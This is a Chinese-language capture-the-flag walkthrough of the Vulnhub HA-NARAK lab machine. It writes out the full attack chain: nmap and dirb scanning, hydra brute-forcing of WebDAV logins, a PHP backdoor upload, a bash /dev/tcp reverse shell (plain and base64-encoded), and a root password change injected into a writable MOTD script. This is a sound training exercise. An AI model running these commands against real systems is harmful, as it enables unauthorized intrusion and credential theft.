Vulnhub-HA-NARAK靶机测试
Vulnhub-HA-NARAK
靶场测试
一. 信息收集
网段扫描
>>探测局域网存活靶机<<
Netdiscover -i eth0 -r 网关
>>Nmap收集靶标具体信息,获得靶机开放的服务端口,及其操作系统和操作系统版本<<
Nmap -sS -Pn -A -p- -n 192.168.128.11
>>获得中间件版本信息Apache/2.4.29 (Ubuntu) Server at 192.168.128.11 Port 80<<
访问http服务
>>在站点寻找可能存在的漏洞点,发现另一个子页面为网站图片元素存储的分页<<
>>查看网页源代码,并无发现
二.漏洞探测
尝试扫描网站目录,发现存在webdav目录(ψ(`∇´)ψ…ψ(`∇´)ψ)
dirb http://192.168.128.11
>>访问webdav目录,发现要输入账号密码
http://192.168.128.11/webdav<<
Hydra爆破webdav
生成字典kali-cewl工具
cewl http://192.168.128.11 > words.dic
webdav 账密爆破
Hydra 爆破webdav,当然也可以用xhydra
hydra -L words.dic -P words.dic http-get://192.168.128.11/webdav
得到账密yamdoot:Swarg ,能够登录webdav 。
三.漏洞利用
Webdav getshell
利用cadaver登录webdav上传shell文件
cadaver http://192.168.128.11/webdav
关于不懂cadaver的使用的,可以点击这里
GetShell
Put /usr/share/webshells/php/qsd-php-backdoor.php
网页访问后门文件目录,反弹Shell
尝试利用/bin/bash/ 进行一个交互式的bash shelll连接,监听端口为4444
/bin/bash -i >& /dev/tcp/192.168.128.12/4444 0>&1
base64加密
echo '/bin/bash -i >& /dev/tcp/192.168.128.12/4444 0>&1'|base64
将base64加密后构造的一个交互式的bash shell连接语句在网站后门上输出,同时开启本地监听
echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTI4LjEyLzQ0NDQgMD4mMQo=|base64 -d|bash
本地nc监听
nc -lnvp 4444 #我之前写入的bin连接监听端口为4444
可以看到已经成功获得www-data用户的访问权限,开始执行下一步操作
1.切换到根目录
2.系统信息收集,了解更多参考这个linux系统信息收集
3.linux系统重要目录文件内容查找linux系统目录文件内容查找
cd /uname -a #内核所有可用信息,可用于后续提权df -a #文件系统信息
关于linux基础命令,不是很熟的童鞋,可以看这里
查看账户信息文件,权限过低无法查看/etc/shadow文件
查看靶机各个用户的家目录
ls -alsR /home
在inferno用户的目录下发现user.txt文件,查看一下,得到一串MD5加密字符串
md5:5f95bf06ce19af69bfa5e53f797ce6e2
在/mnt目录下存在hell.sh,且还存在creds.txt
将creds.txt文件里的内容解密,得到webdav登录的账密
查看下靶机的 /mnt/hell.sh文件,发现hell加密字符串,这不是brainfuck语言吗
原理:brainfuck语言用> < + - . , [ ]八种符号来替换字符
Brainfuck解密看看,关于解密的网站可自行参考下方链接
bugku解密网站
brainfu*k解密网站
ctf密码学常用网站汇总
解密得字符串:chitragupt
推测该字符串可能为某项服务的账号密码,既然inferno用户下有flag提示,应该就是inferno用户的账密了,而由之前nmap扫描收集到的信息可以得知靶机开放的服务除了80-web服务外,还有一个22-ssh服务,这应该就是ssh服务的账密了
密码:chitragupt
尝试ssh账密登录
Ssh infer@192.168.128.11
成功以inferno用户身份登录ssh
四.权限提升
关于提权方法的话,有linux内核提权,suid提权,这里用 motd提权
查看00-header 文件权限
发现这个文件对于各个用户的权限均为可读可写可执行-rwx
将提权命令写入该文件
echo "echo 'root:justice' | sudo chpasswd" >> /etc/update-motd.d/00-header
成功写入
重新登录inferno 账户,即可触发脚本
登录之后根据写入的密码,切换登录root用户
现在可以进行一些高权限操作
Cat /etc/shadow
切换到各个目录看下,看看有没有什么敏感文件
最终在家目录下发现root.txt,看看是不是最终的keys
查看下root.txt
Congratulations!!!